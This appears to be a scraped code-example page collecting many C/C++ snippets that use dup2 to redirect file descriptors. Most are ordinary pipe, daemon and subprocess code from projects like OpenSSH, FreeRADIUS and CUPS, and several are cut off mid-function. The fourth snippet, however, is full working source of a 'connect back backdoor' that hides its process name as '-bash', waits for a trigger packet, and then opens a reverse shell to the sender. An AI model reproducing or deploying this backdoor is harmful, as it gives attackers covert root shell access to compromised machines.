C++ dup2函数代码示例

int main( int argc, char *argv[]){


    if(argc != 2) {
    	perror("\nUso Padre <path>");
    	exit(-1);
    }

    int pid,n = 1;
    int fd[2];
    char buffer[10];

    pipe(fd);   //Creacion del fifo por el que se comunican los dos hijos

    //Creacion del primer hijo
    if( (pid=fork())<0) {
        perror("\nError en el primer fork");
        exit(-1);
    }

    if( pid == 0){
        //Este hijo se encarga de recibir numeros por entrada estandar

        close(fd[0]);
        dup2(fd[1],STDOUT_FILENO);

        while( n != 0){

            scanf("%d",&n);
            printf("%d",n); //Se escriben en el pipe porque he cerrado la salida estandar y redirigido al pipe

            if( n == 0)
                exit(0);
        }


    }
    else{

        //Creacion del segundo hijo por el padre
        if( (pid=fork())<0) {
            perror("\nError en el segundo fork");
            exit(-1);
        }

        if( pid == 0 ){

            //El segundo hijo ejecuta el programa LeerDir

            //Se redirige la entrada a la entrada del pipe
            close(fd[1]);
            dup2(fd[0],STDIN_FILENO);

            //Ejecucion del programa LeerDir
            if( (execl("/home/adritake/SO/Modulo2/Examen/LeerDir","LeerDir", argv[1], NULL)<0)) {
                perror("\nError en el execl");
            }

        }
        else{

            //El padre espera a sus hijos
            waitpid(-1);
            printf("El proceso padre ha finalizado.\n");
        }

    }






}

int main(int argc, char **argv)
{
	int ch, longindex, nr;
	int is_daemon = 1, is_debug = 1;
	pid_t pid;
	struct pollfd *poll_array;

	while ((ch = getopt_long(argc, argv, "fd:vh", long_options, &longindex)) >= 0) {
		switch (ch) {
		case 'f':
			is_daemon = 0;
			break;
		case 'd':
			is_debug = atoi(optarg);
			break;
		case 'v':
			exit(0);
			break;
		case 'h':
			usage(0);
			break;
		default:
			usage(1);
			break;
		}
	}

	init(is_daemon, is_debug);

	if (is_daemon) {
		pid = fork();
		if (pid < 0)
			exit(-1);
		else if (pid)
			exit(0);

		chdir("/");

		close(0);
		open("/dev/null", O_RDWR);
		dup2(0, 1);
		dup2(0, 2);
		setsid();
	}

	nl_fd = nl_open();
	if (nl_fd < 0)
		exit(nl_fd);

	ipc_fd = ipc_open();
	if (ipc_fd < 0)
		exit(ipc_fd);

	dl_init();

	nr = MAX_DL_HANDLES;
	poll_array = poll_init(nr);

	dl_config_load();

	event_loop(nr, poll_array);

	return 0;
}

int main(){
    int i,line;
    char content[MAX_SCHEDULER][MAXLINE];
    int pipe_fd[2];
    FILE* fptr,*tmp_fptr;
    struct dirent *dirp;
    DIR* dp;
    pid_t pid;
    if((dp=opendir(dirname))==NULL)
        err_sys();
    while((dirp=readdir(dp))!=NULL)
        if(strcmp(dirp->d_name,".")==0 || strcmp(dirp->d_name,"..")==0)
            continue;
        else
            break;
    if(dirp==NULL)
        _Exit(0);
    if((tmp_fptr=fopen(tmp_filename,"w"))==NULL)
        err_sys();
    if(pipe(pipe_fd)<0)
        err_sys();
    if((pid=fork())<0){
        err_sys();
    }else if(pid>0){ //parent , read from pipe
        close(pipe_fd[1]);
        if((fptr=fdopen(pipe_fd[0],"r"))==NULL)
            err_sys();
        for(line=0;fgets(content[line],MAXLINE,fptr)>0;line++);
        if(fclose(fptr)==-1)
            err_sys();
        if(waitpid(pid,NULL,0)<0)
            err_sys();
    }else{ //child , write to pipe
        close(pipe_fd[0]);
        if(pipe_fd[1] != STDOUT_FILENO){
            if(dup2(pipe_fd[1],STDOUT_FILENO) != STDOUT_FILENO)
                err_sys();
            close(pipe_fd[1]);
        }
        if(execl("/usr/bin/crontab","crontab","-l",NULL)<0)
            err_sys();
    }
    deal_content(content,&line,dp,dirp);
    if(closedir(dp))
        err_sys();
    for(i=0;i<line;i++)
        fprintf(tmp_fptr,"%s",content[i]);
    if(fclose(tmp_fptr)==-1)
        err_sys();
    if((pid=fork())<0){
        err_sys();
    }else if(pid>0){ //parent
        if(waitpid(pid,NULL,0)<0)
            err_sys();
    }else{ //child
        if(execl("/usr/bin/crontab","crontab",tmp_filename,NULL)<0)
            err_sys();
    }
    if(unlink(tmp_filename)==-1)
        err_sys();
    return 0;
}

int main (int argc, char *argv[])
{
  int fd,sockfd;
  struct sockaddr_in saddr;
  int n,pid;
  char buf[MAXBUFLEN];
  struct iphdr *ip_header;
  struct tcphdr *tcp_header;
  char *data;
  int port;
  long dst;

  printf("- LOTFREE Connect Back BackDoor -\n");
  printf("  http://www.lsdp.net/~lotfree/\n\n");
  if(geteuid())
  {
    printf("Need root privileges\n");
    return 1;
  }
  bzero(argv[0],strlen(argv[0]));
  strcpy(argv[0],"-bash");
  
  signal(SIGCHLD,SIG_IGN);
  signal(SIGHUP,SIG_IGN);
  
  pid=fork();
  if(pid>0)
  {
    printf("Backdoor launched in background...\n");
    exit(0);
  }
  if ((fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
  {
    perror ("socket");
    exit (1);
  }

  ip_header = (struct iphdr *) buf;
  tcp_header = (struct tcphdr *) (buf + sizeof (*ip_header));
  data = (char *) (buf + sizeof (*tcp_header) + sizeof (*ip_header));

  while (1)
  {
    n=read(fd,buf,sizeof(buf));
    if (n >= 45)
    {
      if (!strncmp (data, "owned", 5))
      {
	dst=ip_header->saddr;
	if (n == 45)
	  port = 80;
	else
	{
	  port=atoi((char *) (data + 5));
	}
	sockfd=socket(PF_INET,SOCK_STREAM,0);
	saddr.sin_family=PF_INET;
	saddr.sin_addr.s_addr=dst;
	saddr.sin_port=htons(port);
	pid=fork();
	if(pid==0)
	{
	  connect(sockfd,(struct sockaddr*)&saddr,sizeof(struct sockaddr));
	  write(sockfd,"go!\n",4);
	  close(0);close(1);close(2);
	  dup2(sockfd,0);
	  dup2(sockfd,1);
	  dup2(sockfd,2);
	  execl("/bin/sh","/bin/sh",(char*)0);
	  close(sockfd);
	  exit(0);
	}
      }
    }
    bzero(buf,MAXBUFLEN);
  }
  close (fd);
  return 0;
}

//.........这里部分代码省略.........
      slog(LOG_INFO, "Error setting up hairtunes communications...some things probably wont work very well.\n");
    }
    
    // Setup fork
    char tPort[8] = "6000";  // get this from dup()'d stdout of child pid

    int tPid = fork();
    if(tPid == 0)
    {
      int tDataport=0;
      char tCPortStr[8] = "59010";
      char tTPortStr[8] = "59012";
      int tSize = 0;

      char *tFound  =getFromSetup(pConn->recv.data, "control_port", &tSize);
      getTrimmed(tFound, tSize, 1, 0, tCPortStr);
      tFound = getFromSetup(pConn->recv.data, "timing_port", &tSize);
      getTrimmed(tFound, tSize, 1, 0, tTPortStr);

      slog(LOG_DEBUG_VV, "converting %s and %s from str->int\n", tCPortStr, tTPortStr);
      int tControlport = atoi(tCPortStr);
      int tTimingport = atoi(tTPortStr);

      slog(LOG_DEBUG_V, "Got %d for CPort and %d for TPort\n", tControlport, tTimingport);
      char *tRtp = NULL;
      char *tPipe = NULL;
      char *tAoDriver = NULL;
      char *tAoDeviceName = NULL;
      char *tAoDeviceId = NULL;

      // *************************************************
      // ** Setting up Pipes, AKA no more debug/output  **
      // *************************************************
      dup2(tComms->in[0],0);   // Input to child
      closePipe(&(tComms->in[0]));
      closePipe(&(tComms->in[1]));

      dup2(tComms->out[1], 1); // Output from child
      closePipe(&(tComms->out[1]));
      closePipe(&(tComms->out[0]));

      struct keyring *tKeys = pConn->keys;
      pConn->keys = NULL;
      pConn->hairtunes = NULL;

      // Free up any recv buffers, etc..
      if(pConn->clientSocket != -1)
      {
        close(pConn->clientSocket);
        pConn->clientSocket = -1;
      }
      cleanupBuffers(pConn);
      hairtunes_init(tKeys->aeskey, tKeys->aesiv, tKeys->fmt, tControlport, tTimingport,
                      tDataport, tRtp, tPipe, tAoDriver, tAoDeviceName, tAoDeviceId);

      // Quit when finished.
      slog(LOG_DEBUG, "Returned from hairtunes init....returning -1, should close out this whole side of the fork\n");
      return -1;
    }
    else if(tPid >0)
    {
      // Ensure Connection has access to the pipe.
      closePipe(&(tComms->in[0]));
      closePipe(&(tComms->out[1]));

      char tFromHairtunes[80];

int
mm_answer_pty(int sock, Buffer *m)
{
	extern struct monitor *pmonitor;
	Session *s;
	int res, fd0;

	debug3("%s entering", __func__);

	buffer_clear(m);
	s = session_new();
	if (s == NULL)
		goto error;
	s->authctxt = authctxt;
	s->pw = authctxt->pw;
	s->pid = pmonitor->m_pid;
	res = pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty));
	if (res == 0)
		goto error;
	pty_setowner(authctxt->pw, s->tty);

	buffer_put_int(m, 1);
	buffer_put_cstring(m, s->tty);

	/* We need to trick ttyslot */
	if (dup2(s->ttyfd, 0) == -1)
		fatal("%s: dup2", __func__);

	mm_record_login(s, authctxt->pw);

	/* Now we can close the file descriptor again */
	close(0);

	/* send messages generated by record_login */
	buffer_put_string(m, buffer_ptr(&loginmsg), buffer_len(&loginmsg));
	buffer_clear(&loginmsg);

	mm_request_send(sock, MONITOR_ANS_PTY, m);

	mm_send_fd(sock, s->ptyfd);
	mm_send_fd(sock, s->ttyfd);

	/* make sure nothing uses fd 0 */
	if ((fd0 = open(_PATH_DEVNULL, O_RDONLY)) < 0)
		fatal("%s: open(/dev/null): %s", __func__, strerror(errno));
	if (fd0 != 0)
		error("%s: fd0 %d != 0", __func__, fd0);

	/* slave is not needed */
	close(s->ttyfd);
	s->ttyfd = s->ptyfd;
	/* no need to dup() because nobody closes ptyfd */
	s->ptymaster = s->ptyfd;

	debug3("%s: tty %s ptyfd %d", __func__, s->tty, s->ttyfd);

	return (0);

 error:
	if (s != NULL)
		mm_session_close(s);
	buffer_put_int(m, 0);
	mm_request_send(sock, MONITOR_ANS_PTY, m);
	return (0);
}

void compile( const TuringEnv &env , bool verbose , bool link ,
	std::string asmOut , std::string execOut )
{
	const int arbError = -27;
	bool useNASM = false;
	std::vector<std::string> stateNames;
	std::string assemblyCode;
	int lengthOfTape;
	std::string asmFilename;
	std::ofstream ofs;
	// Detecting whether NASM is installed. I like NASM more than gas, therefore
	// I will try to use NASM unless it is not installed. The assumption is that
	// at least gas is installed
	pid_t pid = fork();
	if ( pid == 0 )
	{
		// Child
		// Next three lines steal out and err from which and send to /dev/null
		int fd = open( "/dev/null" , O_WRONLY );
		dup2(fd, 1);
	    dup2(fd, 2);
		execlp( "which" , "which" , "nasm" , (char*)0 );
		_exit( arbError );
	}
	else
	{
		// Parent
		int status;
		pid_t result = waitpid( pid , &status , 0 );
		if( WIFEXITED( status ) )
		{
			int returnVal = WEXITSTATUS( status );
			if ( returnVal == arbError )
			{
				if ( verbose )
				{
					std::cout << "* Fork-exec to check for NASM failed: "
						"Using gas for assembly." << std::endl;
				}
			}
			else if ( returnVal == 0 )
			{
				if ( verbose )
				{
					std::cout << "* NASM detected: Using NASM for assembly." <<
						std::endl;
				}
				useNASM = true;
			}
			else
			{
				if ( verbose )
				{
					std::cout << "* NASM not detected: Using gas for assembly."
						<< std::endl;
				}
			}
		}
		else
		{
			if ( verbose )
			{
				std::cout << "* Fork-exec to check for NASM terminated "
					"abnormally: Using gas for assembly." << std::endl;
			}
		}
	}
	if ( verbose )
	{
		std::cout << "* Performing sanity check..." << std::endl;
	}
	// Terribly inefficient check to see if state names are repeated, and to
	// populate a list of the state names to be used after this for something
	for ( int i = 0; i < env.states.size(); i++ )
	{
		for ( int j = i + 1; j < env.states.size(); j++ )
		{
			if ( env.states.at(i).getName().compare( 
				env.states.at(j).getName() ) == 0 )
			{
				std::string error = "** Error on compile:\n\tDuplicate state "
					"names detected at state definitions ";
				error += castIntToString( i + 1 );
				error += " and ";
				error += castIntToString( j + 1 );
				error += ".";
				throw error;
			}
		}
		stateNames.push_back( env.states.at(i).getName() );
	}
	// Ensure that states only transition to other defined states
	for ( int i = 0; i < env.states.size(); i++ )
	{
		for ( int j = 0; j < env.states.at(i).getTransitions().size(); j++ )
		{
			if ( env.states.at(i).getTransitions().at(j).nextState.compare(
				"accept" ) != 0 &&
				env.states.at(i).getTransitions().at(j).nextState.compare(
				"reject" ) != 0 && 
//.........这里部分代码省略.........

int
dna_helper_start()
{
  const char *command = confValueGet("dna.helper.executable", NULL);
  const char *arg = confValueGet("dna.helper.argv.1", NULL);
  if (!command || !command[0]) {
    /* Check if we have a helper configured. If not, then set
     dna_helper_pid to magic value of 0 so that we don't waste time
     in future looking up the dna helper configuration value. */
    INFO("DNAHELPER none configured");
    dna_helper_pid = 0;
    return 0;
  }
  
  if (!my_subscriber)
    return WHY("Unable to lookup my SID");
  
  const char *mysid = alloca_tohex_sid(my_subscriber->sid);
  
  dna_helper_close_pipes();
  int stdin_fds[2], stdout_fds[2], stderr_fds[2];
  if (pipe(stdin_fds) == -1)
    return WHY_perror("pipe");
  if (pipe(stdout_fds) == -1) {
    WHY_perror("pipe");
    close(stdin_fds[0]);
    close(stdin_fds[1]);
    return -1;
  }
  if (pipe(stderr_fds) == -1) {
    WHY_perror("pipe");
    close(stdin_fds[0]);
    close(stdin_fds[1]);
    close(stdout_fds[0]);
    close(stdout_fds[1]);
    return -1;
  }

  switch (dna_helper_pid = fork()) {
  case 0:
    /* Child, should exec() to become helper after installing file descriptors. */
    setenv("MYSID", mysid, 1);
    set_logging(stderr);
    signal(SIGTERM, SIG_DFL);
    close(stdin_fds[1]);
    close(stdout_fds[0]);
    close(stderr_fds[0]);
    if (dup2(stderr_fds[1], 2) == -1 || dup2(stdout_fds[1], 1) == -1 || dup2(stdin_fds[0], 0) == -1) {
      LOG_perror(LOG_LEVEL_FATAL, "dup2");
      fflush(stderr);
      _exit(-1);
    }
    /* XXX: Need the cast on Solaris because it defins NULL as 0L and gcc doesn't
     * see it as a sentinal */
    execl(command, command, arg, (void *)NULL);
    LOGF_perror(LOG_LEVEL_FATAL, "execl(%s, %s, %s, NULL)", command, command, arg ? arg : "NULL");
    fflush(stderr);
    do { _exit(-1); } while (1);
    break;
  case -1:
    /* fork failed */
    WHY_perror("fork");
    close(stdin_fds[0]);
    close(stdin_fds[1]);
    close(stdout_fds[0]);
    close(stdout_fds[1]);
    close(stderr_fds[0]);
    close(stderr_fds[1]);
    return -1;
  default:
    /* Parent, should put file descriptors into place for use */
    close(stdin_fds[0]);
    close(stdout_fds[1]);
    close(stderr_fds[1]);
    dna_helper_started = 0;
    dna_helper_stdin = stdin_fds[1];
    dna_helper_stdout = stdout_fds[0];
    dna_helper_stderr = stderr_fds[0];
    INFOF("STARTED DNA HELPER pid=%u stdin=%d stdout=%d stderr=%d executable=%s arg=%s",
	dna_helper_pid,
	dna_helper_stdin,
	dna_helper_stdout,
	dna_helper_stderr,
	command,
	arg ? arg : "NULL"
      );
    sched_requests.function = monitor_requests;
    sched_requests.context = NULL;
    sched_requests.poll.fd = -1;
    sched_requests.poll.events = POLLOUT;
    sched_requests.stats = NULL;
    sched_timeout.function = reply_timeout;
    sched_timeout.context = NULL;
    sched_timeout.stats = NULL;
    sched_replies.function = monitor_replies;
    sched_replies.context = NULL;
    sched_replies.poll.fd = dna_helper_stdout;
    sched_replies.poll.events = POLLIN;
    sched_replies.stats = NULL;
    sched_errors.function = monitor_errors;
//.........这里部分代码省略.........

    /*
     * osauthGetAuth - this function runs the OS_AUTH_CMD command to
     * retrieve an authenticator for the calling user.
     */
    int
    osauthGetAuth( char *challenge,
                   char *username,
                   char *authenticator,
                   int authenticator_buflen ) {
#if defined(OS_AUTH)
        static char fname[] = "osauthGetAuth";
        int pipe1[2], pipe2[2];
        pid_t childPid;
        int childStatus = 0;
        int child_stdin, child_stdout, nb;
        int buflen, challenge_len = CHALLENGE_LEN;
        char buffer[128];

        if ( challenge == NULL || username == NULL || authenticator == NULL ) {
            return USER__NULL_INPUT_ERR;
        }

        if ( pipe( pipe1 ) < 0 ) {
            rodsLog( LOG_ERROR, "%s: pipe1 create failed. errno = %d",
                     fname, errno );
            return ( SYS_PIPE_ERROR - errno );
        }
        if ( pipe( pipe2 ) < 0 ) {
            rodsLog( LOG_ERROR, "%s: pipe2 create failed. errno = %d",
                     fname, errno );
            close( pipe1[0] );
            close( pipe1[1] );
            return ( SYS_PIPE_ERROR - errno );
        }

        childPid = RODS_FORK();

        if ( childPid < 0 ) {
            rodsLog( LOG_ERROR, "%s: RODS_FORK failed. errno = %d",
                     fname, errno );
            close( pipe1[0] );
            close( pipe1[1] );
            close( pipe2[0] );
            close( pipe2[1] );
            return SYS_FORK_ERROR;
        }
        else if ( childPid == 0 ) {
            /* in the child process */

            /* pipe1 will be for child's stdin */
            close( pipe1[1] );
            dup2( pipe1[0], 0 );
            /* pipe2 will be for child's stdout */
            close( pipe2[0] );
            dup2( pipe2[1], 1 );

            /* set the username in an environment variable */
            setenv( OS_AUTH_ENV_USER, username, 1 );

            /* run the OS_AUTH_CMD */
            execlp( OS_AUTH_CMD, OS_AUTH_CMD, ( char* )NULL );
            rodsLog( LOG_ERROR, "%s: child execl %s failed. errno = %d",
                     fname, OS_AUTH_CMD, errno );
        }
        else {
            /* in the parent process */
            close( pipe1[0] );
            child_stdin = pipe1[1];  /* parent writes to child's stdin */
            close( pipe2[1] );
            child_stdout = pipe2[0]; /* parent reads from child's stdout */

            /* send the challenge to the OS_AUTH_CMD program on its stdin */
            nb = write( child_stdin, &challenge_len, sizeof( challenge_len ) );
            if ( nb < 0 ) {
                rodsLog( LOG_ERROR,
                         "%s: error writing challenge_len to %s. errno = %d",
                         fname, OS_AUTH_CMD, errno );
                close( child_stdin );
                close( child_stdout );
                return ( SYS_PIPE_ERROR - errno );
            }
            nb = write( child_stdin, challenge, challenge_len );
            if ( nb < 0 ) {
                rodsLog( LOG_ERROR,
                         "%s: error writing challenge to %s. errno = %d",
                         fname, OS_AUTH_CMD, errno );
                close( child_stdin );
                close( child_stdout );
                return ( SYS_PIPE_ERROR - errno );
            }

            /* read the response */
            buflen = read( child_stdout, buffer, 128 );
            if ( buflen < 0 ) {
                rodsLog( LOG_ERROR, "%s: error reading from %s. errno = %d",
                         fname, OS_AUTH_CMD, errno );
                close( child_stdin );
                close( child_stdout );
                return ( SYS_PIPE_ERROR - errno );
            }
//.........这里部分代码省略.........

int main(int argc, char* argv[])
{
	char buf[200];
	int tab[2];
	int tab2[2];
	int tab3[2];
	int tab4[2];
	int tab5[2];
	pipe(tab);
	pipe(tab2);
	pipe(tab3);
	pipe(tab4);
	pipe(tab5);

	if (fork() == 0)
	{
		if (fork() == 0)
		{

			if (fork() == 0)
			{
				close(tab[0]);
				close(tab2[0]);
				close(tab2[1]);
				close(tab3[0]);
				close(tab3[1]);
				close(tab4[0]);
				close(tab4[1]);
				close(tab5[0]);
				close(tab5[1]);
				dup2(tab[1], 1);
				execlp("ps", "ps", "-ef", NULL);
			}
			else{
				close(tab2[0]);
				close(tab[1]);

				close(tab3[0]);
				close(tab3[1]);
				close(tab4[0]);
				close(tab4[1]);
				close(tab5[0]);
				close(tab5[1]);

				dup2(tab[0], 0);
				dup2(tab2[1], 1);

				execlp("tr", "tr", "-s","' '",":", NULL);
			}

		}
		else
		{
			if (fork() == 0)
			{
				close(tab[0]);
				close(tab[1]);
				close(tab2[1]);
				close(tab3[0]);
				close(tab4[0]);
				close(tab4[1]);
				close(tab5[0]);
				close(tab5[1]);
				dup2(tab2[0], 0);
				dup2(tab3[1], 1);
				execlp("cut", "cut", "-d:","-f1", NULL);
			}
			else{
				close(tab[0]);
				close(tab[1]);
				close(tab2[1]);
				close(tab2[0]);
				close(tab4[0]);
				close(tab3[1]);
				close(tab5[0]);
				close(tab5[1]);
				dup2(tab3[0], 0);
				dup2(tab4[1], 1);
				execlp("sort", "sort",NULL);
			}}
	}
	else
	{
		if (fork() == 0)
		{
			close(tab[0]);
			close(tab[1]);
			close(tab2[1]);
			close(tab2[0]);
			close(tab3[0]);
			close(tab3[1]);
			close(tab5[0]);
			close(tab4[1]);
			dup2(tab4[0], 0);
			dup2(tab5[1], 1);
			execlp("uniq", "uniq","-c",NULL);
		}
		else{
			close(tab[0]);
			close(tab[1]);
//.........这里部分代码省略.........

//.........这里部分代码省略.........
		}

		/*
		 *  The parent exits, so the child can run in the background.
		 */
		if (pid > 0) {
			exit(EXIT_SUCCESS);
		}
#ifdef HAVE_SETSID
		setsid();
#endif
	}
#endif

	/*
	 *  Ensure that we're using the CORRECT pid after forking,
	 *  NOT the one we started with.
	 */
	radius_pid = getpid();

	/*
	 *	If we're running as a daemon, close the default file
	 *	descriptors, AFTER forking.
	 */
	if (!debug_flag) {
		int devnull;

		devnull = open("/dev/null", O_RDWR);
		if (devnull < 0) {
			ERROR("Failed opening /dev/null: %s\n",
			       fr_syserror(errno));
			exit(EXIT_FAILURE);
		}
		dup2(devnull, STDIN_FILENO);
		if (default_log.dest == L_DST_STDOUT) {
			setlinebuf(stdout);
			default_log.fd = STDOUT_FILENO;
		} else {
			dup2(devnull, STDOUT_FILENO);
		}
		if (default_log.dest == L_DST_STDERR) {
			setlinebuf(stderr);
			default_log.fd = STDERR_FILENO;
		} else {
			dup2(devnull, STDERR_FILENO);
		}
		close(devnull);

	} else {
		setlinebuf(stdout); /* unbuffered output */
	}

	/*
	 *	Now we have logging check that the OpenSSL
	 */

	/*
	 *	Initialize the event pool, including threads.
	 */
	radius_event_init(mainconfig.config, spawn_flag);

	/*
	 *	Now that we've set everything up, we can install the signal
	 *	handlers.  Before this, if we get any signal, we don't know
	 *	what to do, so we might as well do the default, and die.
	 */

static int				/* O - Process ID or -1 on error */
exec_filter(const char *filter,		/* I - Filter to execute */
            char       **argv,		/* I - Argument list */
	    char       **envp,		/* I - Environment list */
	    int        infd,		/* I - Stdin file descriptor */
	    int        outfd)		/* I - Stdout file descriptor */
{
  int		pid,			/* Process ID */
		fd;			/* Temporary file descriptor */
#if defined(__APPLE__)
  char		processPath[1024],	/* CFProcessPath environment variable */
		linkpath[1024];		/* Link path for symlinks... */
  int		linkbytes;		/* Bytes for link path */


 /*
  * Add special voodoo magic for MacOS X - this allows MacOS X
  * programs to access their bundle resources properly...
  */

  if ((linkbytes = readlink(filter, linkpath, sizeof(linkpath) - 1)) > 0)
  {
   /*
    * Yes, this is a symlink to the actual program, nul-terminate and
    * use it...
    */

    linkpath[linkbytes] = '\0';

    if (linkpath[0] == '/')
      snprintf(processPath, sizeof(processPath), "CFProcessPath=%s",
	       linkpath);
    else
      snprintf(processPath, sizeof(processPath), "CFProcessPath=%s/%s",
	       dirname((char *)filter), linkpath);
  }
  else
    snprintf(processPath, sizeof(processPath), "CFProcessPath=%s", filter);

  envp[0] = processPath;		/* Replace <CFProcessPath> string */
#endif	/* __APPLE__ */

  if ((pid = fork()) == 0)
  {
   /*
    * Child process goes here...
    *
    * Update stdin/stdout/stderr as needed...
    */

    if (infd != 0)
    {
      if (infd < 0)
        infd = open("/dev/null", O_RDONLY);

      if (infd > 0)
      {
        dup2(infd, 0);
	close(infd);
      }
    }

    if (outfd != 1)
    {
      if (outfd < 0)
        outfd = open("/dev/null", O_WRONLY);

      if (outfd > 1)
      {
	dup2(outfd, 1);
	close(outfd);
      }
    }

    if ((fd = open("/dev/null", O_RDWR)) > 3)
    {
      dup2(fd, 3);
      close(fd);
    }
    fcntl(3, F_SETFL, O_NDELAY);

    if ((fd = open("/dev/null", O_RDWR)) > 4)
    {
      dup2(fd, 4);
      close(fd);
    }
    fcntl(4, F_SETFL, O_NDELAY);

   /*
    * Execute command...
    */

    execve(filter, argv, envp);

    perror(filter);

    exit(errno);
  }

  return (pid);
//.........这里部分代码省略.........

int main (int argc, char const * argv [])

{
	extern struct channel channel;
	static char const * optv [] =
	{
		"C:eFi:n:N:p:P:qt:vx",
		"-N file -P file [-n file] [-p file]",
		"Qualcomm Atheros Powerline Device Host Emulator for INT6300",
		"C f\twrite NVM file to device using VS_SET_SDRAM",
		"e\tredirect stderr to stdout",
		"F[F]\tflash (force) NVRAM using VS_MOD_NVM",

#if defined (WINPCAP) || defined (LIBPCAP)

		"i n\thost interface is (n) [" LITERAL (CHANNEL_ETHNUMBER) "]",

#else

		"i s\thost interface is (s) [" LITERAL (CHANNEL_ETHDEVICE) "]",

#endif

		"n f\tread NVM from device into file using VS_RD_MOD",
		"N f\twrite NVM file to device using VS_WR_MEM",
		"p f\tread PIB from device into file using VS_RD_MOD",
		"P f\twrite PIB file to device using VS_WR_MEM",
		"q\tquiet mode",
		"t n\tread timeout is (n) milliseconds [" LITERAL (CHANNEL_TIMEOUT) "]",
		"v\tverbose mode",
		"x\texit on error",
		(char const *) (0)
	};

#include "../plc/plc.c"

	signed c;
	if (getenv (PLCDEVICE))
	{

#if defined (WINPCAP) || defined (LIBPCAP)

		channel.ifindex = atoi (getenv (PLCDEVICE));

#else

		channel.ifname = strdup (getenv (PLCDEVICE));

#endif

	}
	optind = 1;
	while ((c = getoptv (argc, argv, optv)) != -1)
	{
		switch (c)
		{
		case 'C':
			if (!checkfilename (optarg))
			{
				error (1, EINVAL, "%s", optarg);
			}
			if ((plc.CFG.file = open (plc.CFG.name = optarg, O_BINARY|O_RDONLY)) == -1)
			{
				error (1, errno, "%s", plc.CFG.name);
			}
			if (sdramfile (plc.CFG.file, optarg, plc.flags))
			{
				error (1, ECANCELED, "CFG file %s is corrupt", optarg);
			}
			_setbits (plc.flags, PLC_SDRAM_CONFIG);
			break;
		case 'e':
			dup2 (STDOUT_FILENO, STDERR_FILENO);
			break;
		case 'F':
			_setbits (plc.module, (VS_MODULE_MAC | VS_MODULE_PIB));
			if (_anyset (plc.flags, PLC_FLASH_DEVICE))
			{
				_setbits (plc.module, VS_MODULE_FORCE);
			}
			_setbits (plc.flags, PLC_FLASH_DEVICE);
			break;
		case 'i':

#if defined (WINPCAP) || defined (LIBPCAP)

			channel.ifindex = atoi (optarg);

#else

			channel.ifname = optarg;

#endif

			break;
		case 'N':
			if (!checkfilename (optarg))
			{
				error (1, EINVAL, "%s", optarg);
			}
//.........这里部分代码省略.........

//----------------------------------------------------------------------------
int usbasp_open(char *SerialNumber)
{
    struct usb_bus *bus;
    struct usb_device *dev;
    char string[256];
    char serial[USB_CFG_SERIAL_NUMBER_LEN+1];
#ifdef __GNUC__
    int  old_fd, nul_fd;
#endif

    setup_serial(serial, SerialNumber);

    /*
     * libusb-win32-0.1.10.1 で usb_find_busses() を実行したときに
     * "found N busses"がstdoutに出力されるため一時的にstdoutをnulに切換
     * libusb-win32-0.1.10.2/ libusb-win32-0.1.12.0で修正されている
     * とりあえずgccのみ (bcc/bcb6/vc8では正常に動作しない)
     */
#ifdef __GNUC__
    old_fd = dup(fileno(stdout));           // 標準出力のバックアップを作成
    nul_fd = open("nul", O_WRONLY);         // 標準出力用に"nul"を開く
    dup2(nul_fd, fileno(stdout));           // ファイルのディスクリプタのコピーを1番に作成
#endif
    usb_init();

    usb_find_busses();                      // この中で不要な printf がある
    usb_find_devices();

#ifdef __GNUC__
    fflush(stdout);
    dup2(old_fd, fileno(stdout));           // 標準出力を元に戻す
    close(old_fd);                          // 標準出力のバックアップを閉じる
    close(nul_fd);
#endif

    for (bus = usb_get_busses(); bus; bus = bus->next) {
        for (dev = bus->devices; dev; dev = dev->next) {
            if (dev->descriptor.idVendor == USBDEV_VENDOR &&
                dev->descriptor.idProduct == USBDEV_PRODUCT)
            {
                usbhandle = usb_open(dev);
                if (usbhandle) {
                    if (SerialNumber == NULL)
                        return 0;               // findfirst
                    // check serial number
                    if (usb_get_string_simple(usbhandle,
                        dev->descriptor.iSerialNumber,
                        string, sizeof(string)) < 0)
                    {
                        // cannot read serial number
                        if (!SerialNumber[0])
                            return 0;
                    }
                    if (strnicmp(serial, string, USB_CFG_SERIAL_NUMBER_LEN) == 0)
                        return 0;

                    usb_close(usbhandle);
                }
            }
        }
    }

    fprintf(stderr, "%s: usb_open(): did not find any%s USB device \"%.4s\"\n",
       progname, SerialNumber ? " (matching)": "", serial);
    return 1;
}

int gw_em_mad_init(gw_em_mad_t * em_mad, 
                   const char *   exe, 
                   const char *   name,
                   const char *   owner)
{
    char buf[50];
    char str[GW_EM_MAX_STRING], c;
    char info[GW_EM_MAX_INFO];
    char s_job_id[GW_EM_MAX_JOB_ID];
    char result[GW_EM_MAX_RESULT];
    char action[GW_EM_MAX_ACTION];
    int em_mad_pipe[2], mad_em_pipe[2];
    int i, rc;
    int length;
	
    if ((name == NULL) || (exe == NULL) || (owner == NULL))
        return -1;
	
	
    length = strlen(gw_conf.gw_location) + strlen(exe) + 6;

    em_mad->executable      = (char *) malloc(sizeof(char)*length);
    em_mad->name            = strdup(name);
    em_mad->wrapper_rsl     = NULL;
    em_mad->pre_wrapper_rsl = NULL;    
    em_mad->mode            = NULL;

    sprintf(em_mad->executable, "%s/bin/%s", gw_conf.gw_location, exe);    
    
    if (pipe(em_mad_pipe) == -1 || pipe(mad_em_pipe) == -1)
    {
        gw_log_print("EM",'E',"Could not create communication pipes: %s.\n",
                strerror(errno));
        return -1;
    }

    em_mad->pid = fork();
    
    switch (em_mad->pid)
    {
        case -1: /* Error */
            gw_log_print("EM",'E',"Could not fork to start execution MAD %s.\n", name);
            return -1;

        case 0: /* Child process (MAD) */
            close(em_mad_pipe[1]);
            close(mad_em_pipe[0]);
            
            /* stdin and stdout redirection */
            if (dup2(em_mad_pipe[0], 0) != 0 || dup2(mad_em_pipe[1], 1) != 1)
            {
                gw_log_print("EM",'E',"Could not duplicate communication pipes: %s\n",
                             strerror(errno));
                exit(-1);
            }
            
            close(em_mad_pipe[0]);
            close(mad_em_pipe[1]);
		    
            if (gw_conf.multiuser == GW_TRUE)
                execlp("sudo", "sudo", "-u", owner, em_mad->executable, NULL);
            else
        	execlp(em_mad->executable, em_mad->executable, NULL);

            gw_log_print("EM",'E',"Could not execute MAD %s (exec/sudo).\n",
                        	em_mad->executable);
            exit(-1);

            break;

        default: /* Parent process (GWD) */

            close(em_mad_pipe[0]);
            close(mad_em_pipe[1]);

            em_mad->em_mad_pipe = em_mad_pipe[1];
            em_mad->mad_em_pipe = mad_em_pipe[0];

